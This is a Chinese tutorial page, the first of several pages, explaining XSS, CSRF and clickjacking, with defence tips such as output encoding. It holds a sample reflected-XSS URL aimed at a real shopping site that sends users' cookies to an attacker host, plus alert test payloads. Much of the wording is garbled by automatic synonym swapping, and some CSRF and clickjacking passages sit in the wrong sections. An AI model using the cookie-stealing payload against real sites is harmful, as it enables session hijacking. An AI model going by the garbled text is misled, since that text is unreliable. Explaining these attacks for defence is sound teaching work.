关于Web安全的三个攻防姿势

[2] CSRF 进击的应对之道 - https://www.ibm.com/developer...

沙龙晃荡 | 去哪儿、陌陌、ThoughtWorks在主动化运维中的实践！10.28不见不散！

关于Web安然的三个攻防姿势

关于Web安然的问题，是一个老生常谈的问题，作为离用户比来的一层，我们早年端确切须要把手伸的更远一点。

我们最常见的Web安然进击有以下几种

XSS 跨站脚本进击
CSRF 跨站请求捏造
clickjacking 点击劫持/UI-覆盖进击

下面我们来一一分析

XSS 跨站脚本进击

跨站脚本进击(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本进击缩写为XSS。恶意进击者往Web页面里插入恶意Script代码，当用户浏览该页刹那，嵌入个中Web琅绫擎的Script代码会被履行，大年夜而达到恶意进击用户的目标。

分类

Reflected XSS(基于反射的XSS进击)
Stored XSS(基于存储的XSS进击)
DOM-based or local XSS(基于DOM或本地的XSS进击)

Reflected XSS(基于反射的XSS进击)

重要经由过程应用体系反馈行动马脚，并欺骗用户主动触发，大年夜而提议Web进击。

1. 假设，在严选网站搜刮商品，当搜刮不到时站点会做“xxx未上架提示”。如下图。

2. 在搜刮框搜刮内容，填入“<script>alert('xss')</script>”, 点击搜刮。

3. 当前端页面没有对填入的数据进行过滤，直接显示在页面上，这时就会alert那个字符串出来。

(当然上图是模仿的)

4. 进而可以构造获取用户cookies的地址，经由过程QQ群或者垃圾邮件，来让其他人点击这个地址：

http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

如不雅上当的用户刚好已经登录过严选网站，那么，用户的登录cookie信息就已经发到了进击者的办事器(xss.com)了。当然，进击者会做一些更过分的操作。

Stored XSS(基于存储的XSS进击)

Stored XSS和Reflected XSS的差别就在于，具有进击性的脚本被保存到了办事器并且可以被通俗用户完全的大年夜办事的取抱病履行，大年夜而获得了在收集上传播的才能。

再举个栗子：

1. 发一篇文┞仿，琅绫擎包含了恶意脚本

你好!当你看到这段文字时，你的信息已经不安然了!<script>alert('xss')</script>

2. 后端没有对文┞仿进行过滤，直接保存文┞仿内容到数据库。

3. 当其他读者看这篇文┞仿的时刻，包含的恶意脚本就会履行。

tips：文┞仿是保存全部HTML内容的，前端显示时刻也不做过滤，就极可能出现这种情况。

如不雅我们的操作不仅仅是弹出一个信息，并且删除一篇文┞仿，发一篇反动的文┞仿，或者成为我的粉丝并且将这篇带有恶意脚本的文┞仿转发，如许是不是就具有了进击性。

DOM-based or local XSS(基于DOM或本地的XSS进击)

DOM，全称Document Object Model，是一个平台和说话都中立的接口，可以使法度榜样和脚本可以或许犊飕拜访和更新文档的内容、构造以及样式。

DOM型XSS其实是一种特别类型的反射型XSS，它是基于DOM文档对象模型的一种马脚。可以经由过程DOM来动态修改页面内容，大年夜客户端获取DOM中的数据并在本地履行。基于这个特点，就可以应用JS脚本来实现XSS马脚的应用。

大年夜上图可以看出，要完成一次CSRF进击，受害者必须依次完成两个步调：

登录受信赖网站A，并在本地生成Cookie。
在不登出A的情况下，拜访危险网站B。

可能触发DOM型XSS的属性：

document.referer属性

window.name属性

办法有多中，如

location属性

innerHTML属性

documen.write属性

······

总结

XSS进击的本质就是，应用一切手段在目标用户的浏览器中履行进击脚本。

防备

在UI中采取防御性代码，以确保当前帧是最顶层的窗口

对于一切用户的输入、输出、客户端的输出内容视为弗成信，在数据添加到DOM或者履行了DOM API的时刻，我们须要对内容进行HtmlEncode或JavaScriptEncode，以预防XSS进击。

CSRF 跨站请求捏造

CSRF(Cross-site request forgery)跨站请求捏造，也被称为“One Click Attack”或者Session Riding，平日缩写为CSRF或者XSRF，是一种对网站的恶意应用。尽管听起来像跨站脚本(XSS)，但它与XSS异常不合，XSS应用站点内的信赖用户，而CSRF则经由过程假装来自受信赖用户的请求来应用受信赖的网站。与XSS进击比拟，CSRF进击往往不大年夜风行(是以对其进行防备的资本也相当稀少)和难以防备，所以被认为比XSS更具危险性。但往往同XSS一同作案!

CSRF可以做什么?

你这可以这么懂得CSRF进击：进击者盗用了你的身份，以你的名义发送恶意请求。CSRF可以或许做的工作包含：以你名义发送邮件，发消息，窃取你的┞匪号，甚至于购买商品，虚拟泉币转账......造成的问题包含：小我隐私泄漏以及家当安然。

1/4 1 2 3 4 下一页尾页

　　推荐阅读

　　华为轮值CEO徐直军：应对快速变化的世界

沙龙晃荡 | 去哪儿、陌陌、ThoughtWorks在主动化运维中的实践！10.28不见不散！在10月15日举办的2017中国治理>>>详细阅读

本文标题：关于Web安全的三个攻防姿势

地址：http://www.17bianji.com/lsqh/38025.html

1/2 1